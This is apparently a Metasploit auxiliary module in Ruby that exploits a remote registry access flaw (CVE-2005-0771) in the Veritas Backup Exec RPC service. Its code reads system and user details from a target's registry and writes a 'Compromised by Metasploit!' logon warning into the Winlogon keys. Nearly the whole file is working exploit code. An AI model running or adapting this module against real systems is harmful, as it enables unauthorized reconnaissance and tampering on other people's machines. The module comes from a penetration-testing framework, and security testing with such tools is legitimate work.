277 lines
7.5 KiB
Ruby
277 lines
7.5 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::DCERPC
|
|
include ::Rex::Platforms::Windows
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Veritas Backup Exec Server Registry Access',
|
|
'Description' => %q{
|
|
This modules exploits a remote registry access flaw in the BackupExec Windows
|
|
Server RPC service. This vulnerability was discovered by Pedram Amini and is based
|
|
on the NDR stub information information posted to openrce.org.
|
|
Please see the action list for the different attack modes.
|
|
|
|
},
|
|
'Author' => [ 'hdm' ],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'OSVDB', '17627' ],
|
|
[ 'CVE', '2005-0771' ],
|
|
[ 'URL', 'http://www.idefense.com/application/poi/display?id=269&type=vulnerabilities'],
|
|
],
|
|
'Actions' =>
|
|
[
|
|
['System Information'],
|
|
['Create Logon Notice']
|
|
],
|
|
'DefaultAction' => 'System Information'
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(6106),
|
|
OptString.new('WARN',
|
|
[
|
|
false,
|
|
"The warning to display for the Logon Notice action",
|
|
"Compromised by Metasploit!\r\n"
|
|
]
|
|
),
|
|
], self.class)
|
|
end
|
|
|
|
def auxiliary_commands
|
|
return {
|
|
"regread" => "Read a registry value",
|
|
# "regenum" => "Enumerate registry keys",
|
|
}
|
|
end
|
|
|
|
def run
|
|
case action.name
|
|
when 'System Information'
|
|
system_info()
|
|
when 'Create Logon Notice'
|
|
logon_notice()
|
|
end
|
|
end
|
|
|
|
|
|
def cmd_regread(*args)
|
|
|
|
if (args.length == 0)
|
|
print_status("Usage: regread HKLM\\\\Hardware\\\\Description\\\\System\\\\SystemBIOSVersion")
|
|
return
|
|
end
|
|
|
|
paths = args[0].split("\\")
|
|
hive = paths.shift
|
|
subval = paths.pop
|
|
subkey = paths.join("\\")
|
|
data = backupexec_regread(hive, subkey, subval)
|
|
|
|
if (data)
|
|
print_status("DATA: #{deunicode(data)}")
|
|
else
|
|
print_error("Failed to read #{hive}\\#{subkey}\\#{subval}...")
|
|
end
|
|
|
|
end
|
|
|
|
def cmd_regenum(*args)
|
|
|
|
if (args.length == 0)
|
|
print_status("Usage: regenum HKLM\\\\Software")
|
|
return
|
|
end
|
|
|
|
paths = args[0].split("\\")
|
|
hive = paths.shift
|
|
subkey = "\\" + paths.join("\\")
|
|
data = backupexec_regenum(hive, subkey)
|
|
|
|
if (data)
|
|
print_status("DATA: #{deunicode(data)}")
|
|
else
|
|
print_error("Failed to enumerate #{hive}\\#{subkey}...")
|
|
end
|
|
|
|
end
|
|
|
|
def system_info
|
|
print_status("Dumping system information...")
|
|
|
|
prod_id = backupexec_regread('HKLM', 'Software\\Microsoft\\Windows\\CurrentVersion', 'ProductId') || 'Unknown'
|
|
prod_name = backupexec_regread('HKLM', 'Software\\Microsoft\\Windows NT\\CurrentVersion', 'ProductName') || 'Windows (Unknown)'
|
|
prod_sp = backupexec_regread('HKLM', 'Software\\Microsoft\\Windows NT\\CurrentVersion', 'CSDVersion') || 'No Service Pack'
|
|
owner = backupexec_regread('HKLM', 'Software\\Microsoft\\Windows NT\\CurrentVersion', 'RegisteredOwner') || 'Unknown Owner'
|
|
company = backupexec_regread('HKLM', 'Software\\Microsoft\\Windows NT\\CurrentVersion', 'RegisteredOrganization') || 'Unknown Company'
|
|
cpu = backupexec_regread('HKLM', 'Hardware\\Description\\System\\CentralProcessor\\0', 'ProcessorNameString') || 'Unknown CPU'
|
|
username = backupexec_regread('HKCU', 'Software\\Microsoft\\Windows\\CurrentVersion\\Explorer', 'Logon User Name') || 'SYSTEM'
|
|
|
|
print_status("The current interactive user is #{deunicode(username)}")
|
|
print_status("The operating system is #{deunicode(prod_name)} #{deunicode(prod_sp)} (#{deunicode(prod_id)})")
|
|
print_status("The system is registered to #{deunicode(owner)} of #{deunicode(company)}")
|
|
print_status("The system runs on a #{deunicode(cpu)}")
|
|
end
|
|
|
|
def logon_notice
|
|
print_status("Setting the logon warning to #{datastore['WARN'].strip}...")
|
|
backupexec_regwrite('HKLM', 'Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon', 'LegalNoticeText', REG_SZ, datastore['WARN'])
|
|
backupexec_regwrite('HKLM', 'Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon', 'LegalNoticeCaption', REG_SZ, 'METASPLOIT')
|
|
end
|
|
|
|
|
|
def deunicode(str)
|
|
str.gsub(/\x00/, '').strip
|
|
end
|
|
|
|
#
|
|
# Write a registry key
|
|
#
|
|
def backupexec_regwrite(hive, subkey, subval, type, data)
|
|
stub = backupexec_regrpc_write(
|
|
:hive => registry_hive_lookup(hive),
|
|
:subkey => subkey,
|
|
:subval => subval,
|
|
:type => type,
|
|
:data => data
|
|
)
|
|
resp = backupexec_regrpc_call(5, stub)
|
|
return false if resp.length == 0
|
|
return true
|
|
end
|
|
|
|
#
|
|
# Read a registry key
|
|
#
|
|
def backupexec_regread(hive, subkey, subval, type = REG_SZ)
|
|
stub = backupexec_regrpc_read(
|
|
:hive => registry_hive_lookup(hive),
|
|
:subkey => subkey,
|
|
:subval => subval,
|
|
:type => type
|
|
)
|
|
resp = backupexec_regrpc_call(4, stub)
|
|
|
|
return nil if resp.length == 0
|
|
ret, len = resp[0,8].unpack('VV')
|
|
return nil if ret == 0
|
|
return nil if len == 0
|
|
return resp[8, len]
|
|
end
|
|
|
|
#
|
|
# Enumerate a registry key
|
|
#
|
|
def backupexec_regenum(hive, subkey)
|
|
stub = backupexec_regrpc_enum(
|
|
:hive => registry_hive_lookup(hive),
|
|
:subkey => subkey
|
|
)
|
|
resp = backupexec_regrpc_call(7, stub)
|
|
p resp
|
|
|
|
return nil if resp.length == 0
|
|
ret, len = resp[0,8].unpack('VV')
|
|
return nil if ret == 0
|
|
return nil if len == 0
|
|
return resp[8, len]
|
|
end
|
|
|
|
#
|
|
# Call the backupexec registry service
|
|
#
|
|
def backupexec_regrpc_call(opnum, data = '')
|
|
|
|
handle = dcerpc_handle(
|
|
'93841fd0-16ce-11ce-850d-02608c44967b', '1.0',
|
|
'ncacn_ip_tcp', [datastore['RPORT']]
|
|
)
|
|
|
|
dcerpc_bind(handle)
|
|
|
|
resp = dcerpc.call(opnum, data)
|
|
outp = ''
|
|
|
|
if (dcerpc.last_response and dcerpc.last_response.stub_data)
|
|
outp = dcerpc.last_response.stub_data
|
|
end
|
|
|
|
disconnect
|
|
|
|
outp
|
|
end
|
|
|
|
# RPC Service 4
|
|
def backupexec_regrpc_read(opts = {})
|
|
subkey = opts[:subkey] || ''
|
|
subval = opts[:subval] || ''
|
|
hive = opts[:hive] || HKEY_LOCAL_MACHINE
|
|
type = opts[:type] || REG_SZ
|
|
|
|
stub =
|
|
NDR.UnicodeConformantVaryingString(subkey) +
|
|
NDR.UnicodeConformantVaryingString(subval) +
|
|
NDR.long(type) +
|
|
NDR.long(1024) +
|
|
NDR.long(0) +
|
|
NDR.long(4) +
|
|
NDR.long(4) +
|
|
NDR.long(hive)
|
|
return stub
|
|
end
|
|
|
|
# RPC Service 7
|
|
def backupexec_regrpc_enum(opts = {})
|
|
subkey = opts[:subkey] || ''
|
|
hive = opts[:hive] || HKEY_LOCAL_MACHINE
|
|
stub =
|
|
NDR.UnicodeConformantVaryingString(subkey) +
|
|
NDR.long(4096) +
|
|
NDR.long(0) +
|
|
NDR.long(4) +
|
|
NDR.long(4) +
|
|
NDR.long(hive)
|
|
return stub
|
|
end
|
|
|
|
# RPC Service 5
|
|
def backupexec_regrpc_write(opts = {})
|
|
subkey = opts[:subkey] || ''
|
|
subval = opts[:subval] || ''
|
|
hive = opts[:hive] || HKEY_LOCAL_MACHINE
|
|
type = opts[:type] || REG_SZ
|
|
data = opts[:data] || ''
|
|
|
|
if (type == REG_SZ || type == REG_EXPAND_SZ)
|
|
data = Rex::Text.to_unicode(data+"\x00")
|
|
end
|
|
|
|
stub =
|
|
NDR.UnicodeConformantVaryingString(subkey) +
|
|
NDR.UnicodeConformantVaryingString(subval) +
|
|
NDR.long(type) +
|
|
NDR.long(data.length) +
|
|
NDR.long(data.length) +
|
|
data +
|
|
NDR.align(data) +
|
|
NDR.long(4) +
|
|
NDR.long(4) +
|
|
NDR.long(hive)
|
|
return stub
|
|
end
|
|
|
|
end
|